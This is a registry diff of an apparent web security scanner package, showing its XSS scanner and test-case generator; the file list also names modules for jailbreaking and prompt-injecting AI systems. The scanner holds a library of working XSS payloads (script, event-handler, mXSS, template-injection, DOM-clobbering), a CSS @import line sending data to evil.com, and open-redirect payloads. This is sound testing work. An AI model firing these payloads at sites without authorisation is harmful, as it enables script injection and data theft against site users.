jaku.sh 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/LICENSE +52 -0
  2. package/README.md +636 -0
  3. package/action.yml +264 -0
  4. package/bin/jaku +2 -0
  5. package/package.json +62 -0
  6. package/src/agents/ai-agent.js +175 -0
  7. package/src/agents/api-agent.js +95 -0
  8. package/src/agents/base-agent.js +158 -0
  9. package/src/agents/crawl-agent.js +175 -0
  10. package/src/agents/event-bus.js +59 -0
  11. package/src/agents/findings-ledger.js +410 -0
  12. package/src/agents/logic-agent.js +144 -0
  13. package/src/agents/orchestrator.js +323 -0
  14. package/src/agents/qa-agent.js +149 -0
  15. package/src/agents/security-agent.js +211 -0
  16. package/src/cli.js +423 -0
  17. package/src/core/accessibility-checker.js +171 -0
  18. package/src/core/ai/ai-endpoint-detector.js +227 -0
  19. package/src/core/ai/guardrail-prober.js +362 -0
  20. package/src/core/ai/indirect-injector.js +106 -0
  21. package/src/core/ai/jailbreak-tester.js +212 -0
  22. package/src/core/ai/model-dos-tester.js +174 -0
  23. package/src/core/ai/model-fingerprinter.js +246 -0
  24. package/src/core/ai/multi-turn-attacker.js +297 -0
  25. package/src/core/ai/output-analyzer.js +182 -0
  26. package/src/core/ai/prompt-injector.js +543 -0
  27. package/src/core/ai/system-prompt-extractor.js +244 -0
  28. package/src/core/api/api-key-auditor.js +266 -0
  29. package/src/core/api/auth-flow-tester.js +430 -0
  30. package/src/core/api/cors-ws-tester.js +263 -0
  31. package/src/core/api/graphql-tester.js +287 -0
  32. package/src/core/api/oauth-prober.js +343 -0
  33. package/src/core/auth-manager.js +902 -0
  34. package/src/core/broken-flow-detector.js +207 -0
  35. package/src/core/browser-manager.js +119 -0
  36. package/src/core/console-monitor.js +111 -0
  37. package/src/core/crawler.js +430 -0
  38. package/src/core/csr-waiter.js +410 -0
  39. package/src/core/form-validator.js +240 -0
  40. package/src/core/logic/abuse-pattern-scanner.js +291 -0
  41. package/src/core/logic/access-boundary-tester.js +448 -0
  42. package/src/core/logic/business-rule-inferrer.js +196 -0
  43. package/src/core/logic/graphql-auditor.js +298 -0
  44. package/src/core/logic/parameter-polluter.js +212 -0
  45. package/src/core/logic/pricing-exploiter.js +299 -0
  46. package/src/core/logic/race-condition-detector.js +222 -0
  47. package/src/core/logic/workflow-enforcer.js +284 -0
  48. package/src/core/performance-checker.js +204 -0
  49. package/src/core/responsive-checker.js +228 -0
  50. package/src/core/security/cors-prober.js +150 -0
  51. package/src/core/security/csrf-prober.js +217 -0
  52. package/src/core/security/dependency-auditor.js +182 -0
  53. package/src/core/security/file-upload-tester.js +340 -0
  54. package/src/core/security/header-analyzer.js +324 -0
  55. package/src/core/security/infra-scanner.js +391 -0
  56. package/src/core/security/path-traversal.js +112 -0
  57. package/src/core/security/prototype-pollution.js +147 -0
  58. package/src/core/security/secret-detector.js +517 -0
  59. package/src/core/security/sqli-prober.js +257 -0
  60. package/src/core/security/tls-checker.js +223 -0
  61. package/src/core/security/xss-scanner.js +225 -0
  62. package/src/core/test-generator.js +339 -0
  63. package/src/core/test-runner.js +398 -0
  64. package/src/reporting/diff-reporter.js +172 -0
  65. package/src/reporting/report-generator.js +408 -0
  66. package/src/reporting/sarif-generator.js +190 -0
  67. package/src/utils/config.js +57 -0
  68. package/src/utils/finding.js +67 -0
  69. package/src/utils/logger.js +50 -0
@@ -0,0 +1,225 @@
1
+ import { chromium } from 'playwright';
2
+ import { createFinding } from '../../utils/finding.js';
3
+
4
+ /**
5
+ * XSS Scanner — Probes all discovered input surfaces for Cross-Site Scripting.
6
+ * Tests reflected, stored, and DOM-based XSS with a comprehensive payload library.
7
+ * SAFETY: No destructive payloads — all tests use detection-only markers.
8
+ */
9
+ export class XSSScanner {
10
+ constructor(logger) {
11
+ this.logger = logger;
12
+ this.findings = [];
13
+ }
14
+
15
+ // XSS test payloads — designed for detection, not exploitation
16
+ static PAYLOADS = [
17
+ // ── Classic Vectors ──
18
+ { name: 'Basic script tag', payload: '<script>window.__JAKU_XSS_1=1</script>', marker: '__JAKU_XSS_1' },
19
+ { name: 'IMG onerror', payload: '<img src=x onerror="window.__JAKU_XSS_2=1">', marker: '__JAKU_XSS_2' },
20
+ { name: 'SVG onload', payload: '<svg onload="window.__JAKU_XSS_3=1">', marker: '__JAKU_XSS_3' },
21
+ { name: 'Event handler', payload: '" onfocus="window.__JAKU_XSS_4=1" autofocus="', marker: '__JAKU_XSS_4' },
22
+ { name: 'Template literal', payload: '${alert(1)}', marker: '${alert' },
23
+ { name: 'HTML entity bypass', payload: '&lt;script&gt;alert(1)&lt;/script&gt;', marker: '<script>alert' },
24
+ { name: 'Single quote break', payload: "' onmouseover='window.__JAKU_XSS_5=1", marker: '__JAKU_XSS_5' },
25
+ { name: 'Double quote break', payload: '" onmouseover="window.__JAKU_XSS_6=1', marker: '__JAKU_XSS_6' },
26
+ { name: 'JavaScript URL', payload: 'javascript:window.__JAKU_XSS_7=1', marker: '__JAKU_XSS_7' },
27
+
28
+ // ── Framework Template Injection ──
29
+ { name: 'AngularJS template injection', payload: '{{7*7}}', marker: '49' },
30
+ { name: 'AngularJS constructor XSS', payload: '{{constructor.constructor("window.__JAKU_NG=1")()}}', marker: '__JAKU_NG' },
31
+ { name: 'Vue.js template injection', payload: '{{$emit("jaku")}}', marker: '$emit' },
32
+ { name: 'Vue constructor XSS', payload: '{{constructor.constructor(\'window.__JAKU_VUE=1\')()}}', marker: '__JAKU_VUE' },
33
+
34
+ // ── Mutation XSS (mXSS) ──
35
+ { name: 'mXSS — noscript tag', payload: '<noscript><p title="</noscript><img src=x onerror=window.__JAKU_MXSS=1>">', marker: '__JAKU_MXSS' },
36
+ { name: 'mXSS — table context', payload: '<table><td><title><</title><img src=x onerror=window.__JAKU_MXSS2=1>', marker: '__JAKU_MXSS2' },
37
+
38
+ // ── DOM Clobbering ──
39
+ { name: 'DOM clobber — id=location', payload: '<form id=location></form>', marker: 'id=location' },
40
+ { name: 'DOM clobber — window.name', payload: `<iframe name="__JAKU_DOM_CLOB"></iframe>`, marker: '__JAKU_DOM_CLOB' },
41
+
42
+ // ── CSS Injection ──
43
+ { name: 'CSS expression injection', payload: `<div style="background:url('javascript:window.__JAKU_CSS=1')">`, marker: '__JAKU_CSS' },
44
+ { name: 'CSS @import exfil', payload: `<style>@import 'https://evil.com/steal?x=1';</style>`, marker: 'evil.com' },
45
+
46
+ // ── Alternative Execution Contexts ──
47
+ { name: 'SVG foreignObject', payload: '<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>window.__JAKU_SVG_FO=1</script></body></foreignObject></svg>', marker: '__JAKU_SVG_FO' },
48
+ { name: 'Data URI in iframe', payload: '<iframe src="data:text/html,<script>window.parent.__JAKU_DATA=1</script>"></iframe>', marker: '__JAKU_DATA' },
49
+ { name: 'iframe srcdoc XSS', payload: '<iframe srcdoc="<script>window.parent.__JAKU_SRCDOC=1</script>"></iframe>', marker: '__JAKU_SRCDOC' },
50
+
51
+ // ── Open Redirect (separate from XSS but tested via same param surface) ──
52
+ { name: 'Open redirect — absolute', payload: 'https://evil.attacker.com', marker: 'evil.attacker.com', type: 'redirect' },
53
+ { name: 'Open redirect — protocol', payload: '//evil.attacker.com', marker: 'evil.attacker.com', type: 'redirect' },
54
+ { name: 'Open redirect — backslash', payload: '/\\evil.attacker.com', marker: 'evil.attacker.com', type: 'redirect' },
55
+ ];
56
+
57
+
58
+ /**
59
+ * Run XSS scanning on all discovered surfaces.
60
+ */
61
+ async scan(surfaceInventory) {
62
+ const browser = await chromium.launch({ headless: true });
63
+ const context = await browser.newContext({
64
+ viewport: { width: 1440, height: 900 },
65
+ ignoreHTTPSErrors: true,
66
+ });
67
+
68
+ // Test URL parameter reflection
69
+ await this._testURLParamReflection(context, surfaceInventory);
70
+
71
+ // Test form input reflection
72
+ await this._testFormInputReflection(context, surfaceInventory);
73
+
74
+ await browser.close();
75
+ this.logger?.info?.(`XSS scanner found ${this.findings.length} issues`);
76
+ return this.findings;
77
+ }
78
+
79
+ /**
80
+ * Test if URL parameters are reflected without encoding.
81
+ */
82
+ async _testURLParamReflection(context, inventory) {
83
+ for (const pageData of inventory.pages) {
84
+ if (typeof pageData.status !== 'number' || pageData.status >= 400) continue;
85
+
86
+ const page = await context.newPage();
87
+ try {
88
+ // Test with a canary value in common parameter names
89
+ const testParams = ['q', 'search', 'query', 'keyword', 's', 'term', 'name', 'id', 'page', 'redirect', 'url', 'return', 'next', 'callback'];
90
+
91
+ for (const param of testParams) {
92
+ // Use a subset of payloads for URL params
93
+ for (const { name, payload, marker } of XSSScanner.PAYLOADS.slice(0, 3)) {
94
+ const testUrl = new URL(pageData.url);
95
+ testUrl.searchParams.set(param, payload);
96
+
97
+ try {
98
+ await page.goto(testUrl.toString(), {
99
+ waitUntil: 'domcontentloaded',
100
+ timeout: 10000,
101
+ });
102
+
103
+ // Check if the payload is reflected in the page source
104
+ const content = await page.content();
105
+ const isReflected = content.includes(payload);
106
+
107
+ // Check if the XSS actually executed
108
+ const executed = await page.evaluate((m) => {
109
+ return window[m] === 1;
110
+ }, marker).catch(() => false);
111
+
112
+ if (executed) {
113
+ this.findings.push(createFinding({
114
+ module: 'security',
115
+ title: `Reflected XSS via URL Parameter: ${param}`,
116
+ severity: 'high',
117
+ affected_surface: pageData.url,
118
+ description: `The URL parameter "${param}" is vulnerable to reflected Cross-Site Scripting (XSS). The payload "${name}" was injected and executed in the browser context.\n\nThis allows attackers to execute arbitrary JavaScript in victims\' browsers via crafted URLs, enabling session hijacking, credential theft, and defacement.`,
119
+ reproduction: [
120
+ `1. Navigate to: ${testUrl.toString()}`,
121
+ `2. The ${name} payload executes in the browser`,
122
+ `3. Verify with DevTools: window.${marker} === 1`,
123
+ ],
124
+ evidence: JSON.stringify({ param, payload, name, executed: true }),
125
+ remediation: 'HTML-encode all user input before rendering in the page. Use framework-provided escaping functions. Implement a Content-Security-Policy header to mitigate impact.',
126
+ references: ['https://owasp.org/www-community/attacks/xss/', 'CWE-79'],
127
+ }));
128
+ break; // One finding per param is sufficient
129
+ } else if (isReflected) {
130
+ this.findings.push(createFinding({
131
+ module: 'security',
132
+ title: `Potential Reflected XSS: ${param} (Payload Reflected)`,
133
+ severity: 'medium',
134
+ affected_surface: pageData.url,
135
+ description: `The URL parameter "${param}" reflects the XSS payload "${name}" in the response without proper encoding. While the payload did not execute in this test (browser may have blocked it), the lack of encoding indicates a vulnerability that could be exploited with alternative payloads.`,
136
+ reproduction: [
137
+ `1. Navigate to: ${testUrl.toString()}`,
138
+ `2. View page source — payload appears unencoded`,
139
+ ],
140
+ evidence: JSON.stringify({ param, payload, name, reflected: true, executed: false }),
141
+ remediation: 'All user input must be HTML-encoded before rendering. Even if the current payload is blocked, other payloads or browser contexts may succeed.',
142
+ references: ['https://owasp.org/www-community/attacks/xss/', 'CWE-79'],
143
+ }));
144
+ break;
145
+ }
146
+ } catch {
147
+ // Navigation failed — skip
148
+ }
149
+ }
150
+ }
151
+ } catch (err) {
152
+ this.logger?.debug?.(`XSS URL param test failed for ${pageData.url}: ${err.message}`);
153
+ } finally {
154
+ await page.close();
155
+ }
156
+ }
157
+ }
158
+
159
+ /**
160
+ * Test form inputs for XSS via submission.
161
+ */
162
+ async _testFormInputReflection(context, inventory) {
163
+ for (const form of inventory.forms) {
164
+ const page = await context.newPage();
165
+ try {
166
+ await page.goto(form.page, { waitUntil: 'networkidle', timeout: 15000 });
167
+
168
+ // Use a small subset of payloads for each form
169
+ const testPayload = XSSScanner.PAYLOADS[0]; // Basic script tag
170
+
171
+ for (const field of form.fields) {
172
+ if (['hidden', 'submit', 'button', 'checkbox', 'radio', 'file'].includes(field.type)) continue;
173
+
174
+ try {
175
+ const input = await page.$(`[name="${field.name}"]`) || await page.$(`#${field.name}`);
176
+ if (!input) continue;
177
+
178
+ await input.fill(testPayload.payload);
179
+
180
+ // Submit the form
181
+ const submitBtn = await page.$(`#${form.id} button[type="submit"]`)
182
+ || await page.$('button[type="submit"], input[type="submit"]');
183
+
184
+ if (submitBtn) {
185
+ await submitBtn.click();
186
+ await page.waitForTimeout(2000);
187
+
188
+ // Check if payload reflected in the response
189
+ const content = await page.content();
190
+ if (content.includes(testPayload.payload)) {
191
+ this.findings.push(createFinding({
192
+ module: 'security',
193
+ title: `Form XSS: Input "${field.name}" in ${form.id}`,
194
+ severity: 'high',
195
+ affected_surface: form.page,
196
+ description: `The form field "${field.name}" in form "${form.id}" does not sanitize XSS payloads. The submitted ${testPayload.name} payload was reflected in the response without encoding.\n\nThis could lead to stored XSS if the data is persisted and displayed to other users.`,
197
+ reproduction: [
198
+ `1. Navigate to ${form.page}`,
199
+ `2. Enter "${testPayload.payload}" in the "${field.name}" field`,
200
+ `3. Submit the form`,
201
+ `4. Payload appears unencoded in the response`,
202
+ ],
203
+ evidence: JSON.stringify({ form: form.id, field: field.name, payload: testPayload.name }),
204
+ remediation: 'Sanitize and HTML-encode all form inputs on both client and server side before rendering. Use parameterized queries for database storage.',
205
+ references: ['https://owasp.org/www-community/attacks/xss/', 'CWE-79'],
206
+ }));
207
+ }
208
+
209
+ // Navigate back for next field test
210
+ await page.goto(form.page, { waitUntil: 'networkidle', timeout: 10000 });
211
+ }
212
+ } catch {
213
+ // Field test failed — continue
214
+ }
215
+ }
216
+ } catch (err) {
217
+ this.logger?.debug?.(`XSS form test failed for ${form.page}: ${err.message}`);
218
+ } finally {
219
+ await page.close();
220
+ }
221
+ }
222
+ }
223
+ }
224
+
225
+ export default XSSScanner;
@@ -0,0 +1,339 @@
1
+ /**
2
+ * Test Generator — Generates test cases from the Surface Inventory.
3
+ * Produces smoke, navigation, form, API, and edge-case tests.
4
+ */
5
+ export class TestGenerator {
6
+ constructor(logger) {
7
+ this.logger = logger;
8
+ }
9
+
10
+ /**
11
+ * Generate all test cases from a Surface Inventory.
12
+ * @returns {TestCase[]} Array of test case objects
13
+ */
14
+ generate(surfaceInventory) {
15
+ const tests = [
16
+ ...this._generateSmokeTests(surfaceInventory),
17
+ ...this._generateNavigationTests(surfaceInventory),
18
+ ...this._generateFormTests(surfaceInventory),
19
+ ...this._generateApiTests(surfaceInventory),
20
+ ...this._generateEdgeCaseTests(surfaceInventory),
21
+ ];
22
+
23
+ this.logger?.info?.(`Generated ${tests.length} test cases`);
24
+ return tests;
25
+ }
26
+
27
+ /**
28
+ * Smoke tests: one test per unique URL *pattern* (UUIDs and numeric IDs normalized).
29
+ * This prevents 49 identical findings for /trips/<uuid> pages.
30
+ */
31
+ _generateSmokeTests(inventory) {
32
+ const seenPatterns = new Map(); // pattern → first representative URL
33
+
34
+ for (const page of inventory.pages) {
35
+ const pattern = this._normalizePathPattern(page.url);
36
+ if (!seenPatterns.has(pattern)) {
37
+ seenPatterns.set(pattern, page.url);
38
+ }
39
+ }
40
+
41
+ const tests = [];
42
+ let idx = 0;
43
+ for (const [pattern, representativeUrl] of seenPatterns) {
44
+ // Count how many URLs match this pattern
45
+ const matchCount = inventory.pages.filter(
46
+ p => this._normalizePathPattern(p.url) === pattern
47
+ ).length;
48
+
49
+ tests.push({
50
+ id: `SMOKE-${String(++idx).padStart(3, '0')}`,
51
+ type: 'smoke',
52
+ surface: representativeUrl,
53
+ urlPattern: pattern,
54
+ matchCount, // how many URLs share this pattern
55
+ title: matchCount > 1
56
+ ? `Page loads successfully: ${pattern} (${matchCount} pages)`
57
+ : `Page loads successfully: ${this._shortUrl(representativeUrl)}`,
58
+ steps: [
59
+ { action: 'navigate', url: representativeUrl },
60
+ { action: 'assert_status', expected: 200 },
61
+ { action: 'assert_no_console_errors' },
62
+ { action: 'assert_has_content' },
63
+ ],
64
+ expected: {
65
+ status: 200,
66
+ noConsoleErrors: true,
67
+ hasContent: true,
68
+ },
69
+ });
70
+ }
71
+
72
+ this.logger?.info?.(`Smoke tests: ${inventory.pages.length} pages → ${tests.length} pattern-deduplicated tests`);
73
+ return tests;
74
+ }
75
+
76
+ /**
77
+ * Normalize a URL path to a pattern by replacing:
78
+ * - UUIDs (8-4-4-4-12 hex) → :uuid
79
+ * - Long numeric IDs (> 4 digits) → :id
80
+ * - Short numeric segments → :n
81
+ * Also strips query strings and hashes.
82
+ *
83
+ * Examples:
84
+ * /trips/5f8579e0-0054-4cb9-b80e-b00b19369536?edit=true → /trips/:uuid
85
+ * /profile/42 → /profile/:n
86
+ * /packages/rajasthan-royal-heritage-tour → /packages/rajasthan-royal-heritage-tour (unchanged)
87
+ */
88
+ _normalizePathPattern(url) {
89
+ try {
90
+ const u = new URL(url);
91
+ const pathname = u.pathname
92
+ // UUID pattern (8-4-4-4-12)
93
+ .replace(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi, ':uuid')
94
+ // Long numeric IDs (5+ digits are definitely database IDs)
95
+ .replace(/\/[0-9]{5,}/g, '/:id')
96
+ // Short numeric path segments (e.g. /profile/3)
97
+ .replace(/\/[0-9]{1,4}(?=\/|$)/g, '/:n')
98
+ // Trailing slash normalization
99
+ .replace(/\/+$/, '') || '/';
100
+ return pathname;
101
+ } catch {
102
+ return url;
103
+ }
104
+ }
105
+
106
+ /**
107
+ * Navigation tests: all internal links are reachable.
108
+ * Deduplicated by normalized URL pattern to avoid testing 49 /trips/<uuid> links.
109
+ */
110
+ _generateNavigationTests(inventory) {
111
+ const tests = [];
112
+ const testedPatterns = new Set();
113
+
114
+ for (const page of inventory.pages) {
115
+ for (const link of (page.links || [])) {
116
+ const pattern = this._normalizePathPattern(link);
117
+ if (testedPatterns.has(pattern)) continue;
118
+ testedPatterns.add(pattern);
119
+
120
+ tests.push({
121
+ id: `NAV-${String(tests.length + 1).padStart(3, '0')}`,
122
+ type: 'navigation',
123
+ surface: link,
124
+ sourcePage: page.url,
125
+ title: `Link reachable: ${this._shortUrl(link)}`,
126
+ steps: [
127
+ { action: 'navigate', url: page.url },
128
+ { action: 'click_link', url: link },
129
+ { action: 'assert_status', expected: [200, 301, 302] },
130
+ ],
131
+ expected: {
132
+ reachable: true,
133
+ noErrors: true,
134
+ },
135
+ });
136
+ }
137
+ }
138
+
139
+ return tests;
140
+ }
141
+
142
+ /**
143
+ * Form tests: every form can be submitted with valid and invalid data.
144
+ */
145
+ _generateFormTests(inventory) {
146
+ const tests = [];
147
+
148
+ for (const form of inventory.forms) {
149
+ // Test 1: Submit empty (required field validation)
150
+ tests.push({
151
+ id: `FORM-${String(tests.length + 1).padStart(3, '0')}`,
152
+ type: 'form',
153
+ subtype: 'empty_submit',
154
+ surface: form.page,
155
+ formId: form.id,
156
+ title: `Empty form submission blocked: ${form.id}`,
157
+ steps: [
158
+ { action: 'navigate', url: form.page },
159
+ { action: 'locate_form', selector: form.id },
160
+ { action: 'submit_empty' },
161
+ { action: 'assert_validation_error' },
162
+ ],
163
+ expected: {
164
+ blocked: true,
165
+ showsValidationError: true,
166
+ },
167
+ });
168
+
169
+ // Test 2: Submit with valid data
170
+ const validData = this._generateValidData(form.fields);
171
+ tests.push({
172
+ id: `FORM-${String(tests.length + 1).padStart(3, '0')}`,
173
+ type: 'form',
174
+ subtype: 'valid_submit',
175
+ surface: form.page,
176
+ formId: form.id,
177
+ title: `Valid form submission succeeds: ${form.id}`,
178
+ steps: [
179
+ { action: 'navigate', url: form.page },
180
+ { action: 'locate_form', selector: form.id },
181
+ { action: 'fill_form', data: validData },
182
+ { action: 'submit' },
183
+ { action: 'assert_submission_feedback' },
184
+ ],
185
+ expected: {
186
+ submitted: true,
187
+ showsFeedback: true,
188
+ },
189
+ });
190
+
191
+ // Test 3: Type constraint testing for each field
192
+ for (const field of form.fields) {
193
+ if (field.type === 'hidden' || field.type === 'submit') continue;
194
+ const invalidData = this._generateInvalidData(field);
195
+ if (invalidData) {
196
+ tests.push({
197
+ id: `FORM-${String(tests.length + 1).padStart(3, '0')}`,
198
+ type: 'form',
199
+ subtype: 'invalid_input',
200
+ surface: form.page,
201
+ formId: form.id,
202
+ fieldName: field.name,
203
+ title: `Invalid input rejected: ${field.name} in ${form.id}`,
204
+ steps: [
205
+ { action: 'navigate', url: form.page },
206
+ { action: 'locate_form', selector: form.id },
207
+ { action: 'fill_field', field: field.name, value: invalidData.value },
208
+ { action: 'submit' },
209
+ { action: 'assert_validation_error', field: field.name },
210
+ ],
211
+ expected: {
212
+ rejected: true,
213
+ showsFieldError: true,
214
+ },
215
+ invalidData,
216
+ });
217
+ }
218
+ }
219
+ }
220
+
221
+ return tests;
222
+ }
223
+
224
+ /**
225
+ * API tests: endpoints respond within timeout with valid responses.
226
+ */
227
+ _generateApiTests(inventory) {
228
+ return inventory.apiEndpoints.map((endpoint, idx) => ({
229
+ id: `API-${String(idx + 1).padStart(3, '0')}`,
230
+ type: 'api',
231
+ surface: endpoint.url,
232
+ method: endpoint.method,
233
+ title: `API responds: ${endpoint.method} ${this._shortUrl(endpoint.url)}`,
234
+ steps: [
235
+ { action: 'http_request', method: endpoint.method, url: endpoint.url },
236
+ { action: 'assert_status', expected: [200, 201, 204, 301, 302] },
237
+ { action: 'assert_response_time', maxMs: 5000 },
238
+ { action: 'assert_valid_json' },
239
+ ],
240
+ expected: {
241
+ validStatus: true,
242
+ withinTimeout: true,
243
+ validJson: true,
244
+ },
245
+ }));
246
+ }
247
+
248
+ /**
249
+ * Edge-case tests: boundary values and special characters.
250
+ */
251
+ _generateEdgeCaseTests(inventory) {
252
+ const tests = [];
253
+
254
+ for (const form of inventory.forms) {
255
+ for (const field of form.fields) {
256
+ if (field.type === 'hidden' || field.type === 'submit') continue;
257
+
258
+ // Extremely long input
259
+ tests.push({
260
+ id: `EDGE-${String(tests.length + 1).padStart(3, '0')}`,
261
+ type: 'edge-case',
262
+ subtype: 'long_input',
263
+ surface: form.page,
264
+ formId: form.id,
265
+ fieldName: field.name,
266
+ title: `Long input handled: ${field.name}`,
267
+ steps: [
268
+ { action: 'navigate', url: form.page },
269
+ { action: 'fill_field', field: field.name, value: 'A'.repeat(10000) },
270
+ { action: 'submit' },
271
+ { action: 'assert_no_crash' },
272
+ ],
273
+ expected: { noCrash: true },
274
+ });
275
+
276
+ // Special characters
277
+ tests.push({
278
+ id: `EDGE-${String(tests.length + 1).padStart(3, '0')}`,
279
+ type: 'edge-case',
280
+ subtype: 'special_chars',
281
+ surface: form.page,
282
+ formId: form.id,
283
+ fieldName: field.name,
284
+ title: `Special chars handled: ${field.name}`,
285
+ steps: [
286
+ { action: 'navigate', url: form.page },
287
+ { action: 'fill_field', field: field.name, value: '<script>alert(1)</script>\'";--' },
288
+ { action: 'submit' },
289
+ { action: 'assert_no_crash' },
290
+ { action: 'assert_input_sanitized' },
291
+ ],
292
+ expected: { noCrash: true, sanitized: true },
293
+ });
294
+ }
295
+ }
296
+
297
+ return tests;
298
+ }
299
+
300
+ _generateValidData(fields) {
301
+ const data = {};
302
+ for (const field of fields) {
303
+ switch (field.type) {
304
+ case 'email': data[field.name] = 'test@example.com'; break;
305
+ case 'password': data[field.name] = 'TestPass123!'; break;
306
+ case 'tel': data[field.name] = '+1234567890'; break;
307
+ case 'number': data[field.name] = '42'; break;
308
+ case 'url': data[field.name] = 'https://example.com'; break;
309
+ case 'date': data[field.name] = '2025-01-15'; break;
310
+ case 'checkbox': data[field.name] = true; break;
311
+ case 'select': data[field.name] = '__first_option__'; break;
312
+ default: data[field.name] = 'Test input value'; break;
313
+ }
314
+ }
315
+ return data;
316
+ }
317
+
318
+ _generateInvalidData(field) {
319
+ switch (field.type) {
320
+ case 'email': return { value: 'not-an-email', reason: 'Invalid email format' };
321
+ case 'number': return { value: 'not-a-number', reason: 'Non-numeric value in number field' };
322
+ case 'url': return { value: 'not-a-url', reason: 'Invalid URL format' };
323
+ case 'tel': return { value: 'abc', reason: 'Non-phone value in tel field' };
324
+ case 'date': return { value: '99-99-9999', reason: 'Invalid date format' };
325
+ default: return null;
326
+ }
327
+ }
328
+
329
+ _shortUrl(url) {
330
+ try {
331
+ const u = new URL(url);
332
+ return u.pathname === '/' ? u.hostname : u.pathname;
333
+ } catch {
334
+ return url;
335
+ }
336
+ }
337
+ }
338
+
339
+ export default TestGenerator;